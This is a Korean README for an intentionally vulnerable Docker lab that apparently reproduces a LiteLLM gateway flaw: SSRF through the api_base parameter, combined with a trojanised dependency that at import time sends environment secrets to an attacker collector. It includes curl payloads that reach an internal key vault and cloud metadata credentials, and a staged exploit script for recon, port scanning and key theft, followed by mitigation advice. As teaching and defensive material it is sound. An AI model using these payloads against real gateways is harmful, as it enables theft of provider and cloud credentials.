
CVE-2026-33634를 재현하는 의도적으로 취약한 Docker 랩: api_base를 통한 LiteLLM 게이트웨이 SSRF와 트로이 목마화된 의존성, 그리고 자격 증명 탈취를 위한 다단계 익스플로잇을 포함한다.
api_base SSRF (PoC / Lab)⚠️ 의도적으로 취약한 실습 환경, 교육 및 승인된 사용 목적. 본인의 머신에서, 이 저장소의 컨테이너에 대해서만 실행하세요. 시작하기 전에 SECURITY-NOTES.md를 읽어보세요.
🚫 절대 이 랩을 클라우드 VM이나 공유 머신에서 실행하지 마세요. 이 게이트웨이는 의도적으로 무제한 SSRF를 가집니다: 실제 IMDS (
169.254.169.254)나 loopback/LAN에 민감한 서비스가 있다면, SSRF가 실제로 그것들에 도달합니다. 포트는127.0.0.1에만 게시됩니다; 그대로 유지하세요. 격리된/일회용 호스트를 사용하세요.
CVSS 9.4 (치명적). LiteLLM 게이트웨이의 공급망 침해
(2026년 3월): 게이트웨이 라이브러리의 악성 의존성이
AI 프로바이더 자격 증명 전체 포트폴리오를 노출시켰습니다. 이 계층의
반복되는 패턴이 함께 나타납니다: 프록시의 OpenAI 키와 api_base
파라미터의 SSRF. 이 랩은 두 결함을 재현하고 이를 하나의 익스플로잇으로
연결합니다.
litellm-telemetry-helper (malicious-dep/에 있음)는
침해된 전이적 의존성을 시뮬레이션합니다. 사고 서사에서 약한 핀
(>=0.9.6)이 리졸버로 하여금 깨끗한 0.9.6 대신 악성 버전 0.9.7을
가져오게 했을 것입니다. 페이로드는 import 시점에 발동하며(게이트웨이가
의존성을 해석하기만 하면 됨), 백그라운드 스레드에서 전체 환경을
유출합니다(OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_*, ...) — 애플리케이션을
중단시키지 않고 조용히 공격자의 수집기로 전송합니다.
api_base의 SSRF프록시(gateway/app.py)는 호출자로부터 오는 api_base
(프로바이더의 base_url)를 허용 목록 없이 받아들입니다. 공격자는
게이트웨이가 요청을 보내는 대상을 제어하며, 게이트웨이는 추가로:
Authorization 헤더에 첨부하고,이로써 다음이 가능합니다: 내부 서비스(/admin/keys)에 도달, IMDS
(169.254.169.254)에서 클라우드 자격 증명 탈취, 내부 네트워크
포트 스캔, 그리고 api_base를 공격자에게 되돌려 각 프로바이더의
키를 유출할 수 있습니다.
HOST (당신 / 공격자)
exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
▲ │
└───────────GET /loot (localhost:8080)──┐ │
│ ▼
┌───────────────────────── docker 네트워크 "labnet" ───┼───────────────────┐
│ │ │
│ collector (attacker.lab:8080) ◄─ 공급망 beacon ── gateway │
│ • /beacon (악성 dep 유출) │ (litellm │
│ • /collect (SSRF로 유출된 키) │ :4000) │
│ • /oob (블라인드 SSRF 확인) │ │ SSRF │
│ • /loot ┘ │ (api_base)│
│ ▼ │
│ internal.lab:9000 /admin/keys (게시되지 않음) ◄───────┤ │
│ imds.lab:80 /latest/... (게시되지 않음) ◄───────┤ │
│ provider-mock.lab:9100 ("정상" 업스트림) ◄───────┘ │
└──────────────────────────────────────────────────────────────────────┘
internal.lab과 imds.lab은 게시된 포트가 없습니다 — 오직 게이트웨이의
SSRF만이 이들에 도달합니다. 이것이 이 랩의 핵심입니다.
사전 요구사항: Docker + Docker Compose v2, 그리고 익스플로잇용 httpx가 있는 Python 3.9+.
cd CVE-2026-33634
# 1) 랩 기동 (gateway :4000, collector :8080)
docker compose up -d --build # 또는: make up
# 2) 익스플로잇 요구사항 설치
python3 -m pip install -r exploit/requirements.txt
# 3) 전체 익스플로잇 실행
python3 exploit/exploit.py # 또는: make exploit
개별 단계 실행:
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal # 내부 금고만 탈취
python3 exploit/exploit.py --only cloud # 클라우드 자격 증명만 탈취
python3 exploit/exploit.py --only keyleak # 프로바이더 키만 유출
python3 exploit/exploit.py --only supplychain # dep의 beacon만 확인
전체 loot은 loot.json에 저장됩니다. 공격자가 데이터를 수신하는 것을 확인하세요:
docker compose logs -f collector # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool
# 임의 읽기: SSRF를 통한 내부 금고
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
| python3 -m json.tool
# IMDS로의 SSRF를 통한 클라우드 자격 증명
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'
이 랩은 교육적 명확성과 재현성을 우선시합니다. 실제 사고를 추상화하는 부분은 의도적이며, 그 차이를 아는 것이 중요합니다:
litellm 트리에
숨겨진 전이적 의존성이 아니라 import litellm_telemetry_helper를
명시적으로 수행합니다. 효과(import 시 페이로드)는 동일하며, 해석
체인이 단축되었습니다.>=0.9.6은 서사입니다
(gateway/requirements.txt의 주석 처리된 줄); 랩에서는 dep가 Dockerfile을
통해 ./malicious-dep에서 설치됩니다 — 0.9.6 대신 0.9.7을 해석하는
PyPI 인덱스가 없습니다. 실제 해석을 연습하려면 두 버전이 있는 로컬
인덱스(pypiserver/devpi)를 띄우세요.api_base 벡터에서 랩은 명시적 경로가 있을 때 URL을
그대로 사용합니다(단일 파라미터로 /admin/keys와 IMDS 읽기를 시연하기
위해). OpenAI 호환 경로에서 실제 LiteLLM은 고정 접미사
(/chat/completions)를 연결하고 POST를 수행합니다 — 제어는 보통
호스트(키 유출, 호스트별 SSRF)이며 임의 경로는 패스스루/health
라우트에서 나타납니다. 시연된 영향(포트폴리오 유출 + 내부/클라우드
피벗)은 충실하며, 정확한 URL 구성은 단순화되었습니다.SSRF (api_base)
169.254.0.0/16 (IMDS)을 금지;
DNS를 해석하고 연결 전에 IP를 검증(리바인딩 주의).hop-limit=1을 강제하세요.공급망
--require-hashes, lockfile); >= 금지.pip install을 코드 실행(install hooks)으로 취급; 샌드박스/격리된 CI 사용.자격 증명/시크릿 (베이스라인)
CVE-2026-33634/
├── docker-compose.yml # labnet 네트워크에서 모든 것을 오케스트레이션
├── Makefile # up / down / logs / exploit
├── gateway/ # 취약한 LiteLLM 스타일 프록시 (SSRF + dep import)
├── malicious-dep/ # 트로이 목마화된 의존성 (import 시 페이로드)
├── collector/ # 공격자 수집기 (/beacon /collect /oob /loot)
├── internal-service/ # 내부 /admin/keys (SSRF로만)
├── imds/ # 클라우드 메타데이터 서비스 mock (SSRF로만)
├── provider-mock/ # "정상" 업스트림 (대조)
├── exploit/exploit.py # 다단계 익스플로잇 (async)
├── SECURITY-NOTES.md # 의도적 취약점, 격리 및 승인
└── README.md
| 단계 | 기법 |
|---|
recon | 게이트웨이 핑거프린팅; 모델/프로바이더 열거; api_base 싱크 탐지. |
ssrf | 블라인드(대역 외) 방식으로 SSRF 확인: 고유 토큰으로 수집기에 콜백을 강제. |
scan | 게이트웨이를 통한 내부 네트워크 포트 스캔 (동시). |
internal | SSRF → internal.lab/admin/keys: 자격 증명 금고 전체를 유출. |
cloud | SSRF → IMDS: 인스턴스 역할의 임시 STS 자격 증명을 탈취. |
keyleak | api_base를 공격자에게 지정; 게이트웨이가 Authorization에서 각 프로바이더의 키를 유출. |
supplychain | loot 읽기: 트로이 목마화된 dep가 이미 import 시점에 환경을 유출함. |
report | 영향을 종합하고 loot.json을 기록. |